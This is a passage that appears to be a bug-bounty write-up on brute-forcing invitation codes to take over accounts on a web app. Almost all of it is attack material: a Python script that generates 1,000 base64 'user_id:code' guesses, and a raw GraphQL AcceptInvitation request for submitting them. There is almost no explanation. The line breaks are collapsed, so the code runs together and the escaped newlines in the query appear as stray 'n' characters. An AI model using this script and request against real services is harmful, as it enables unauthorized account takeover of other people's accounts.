破解邀请码实现未授权访问和账户接管

https://app.examplespark.com/users/User:<user_id>。

import randomimport base64def generate_otp():    # Generate a random 7-digit alphanumeric OTP    characters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"    otp = ''.join(random.choice(characters) for i in range(7))    return otpdef convert_to_base64(data):    # Convert the data to base64    data_bytes = data.encode('utf-8')    base64_encoded = base64.b64encode(data_bytes).decode('utf-8')    return base64_encoded# Constant user IDuser_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"# Number of OTPs to generate (updated to 1000)num_otps = 1000# Generate payloads and create a listpayload_list = []for _ in range(num_otps):    otp = generate_otp()    payload = f"{user_id}:{otp}"    base64_payload = convert_to_base64(payload)    payload_list.append(base64_payload)# Print the generated payloads and their base64 representationsfor i, payload in enumerate(payload_list, start=1):    print(f"Payload {i}: {payload}")

POST /graphql/frontend?n=AcceptInvitation HTTP/2Host: app.examplespark.comCookie: [session cookies]Content-Length: 616Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Content-Type: application/jsonAccept: */*X-Graphql-Operation: AcceptInvitationSec-Ch-Ua-Platform: "Linux"Origin: https://app.examplespark.comReferer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {n  accept_invitation(n    input: {invitation_key: $invitation_key, name: $name, password: $password}n  ) {n    account_idn    user {n      idn      statusn      ...AuthUserLoginn      __typenamen    }n    __typenamen  }n}nnfragment AuthUserLogin on User {n  idn  emailn  display_namen  session_valid_untiln  __typenamen}"}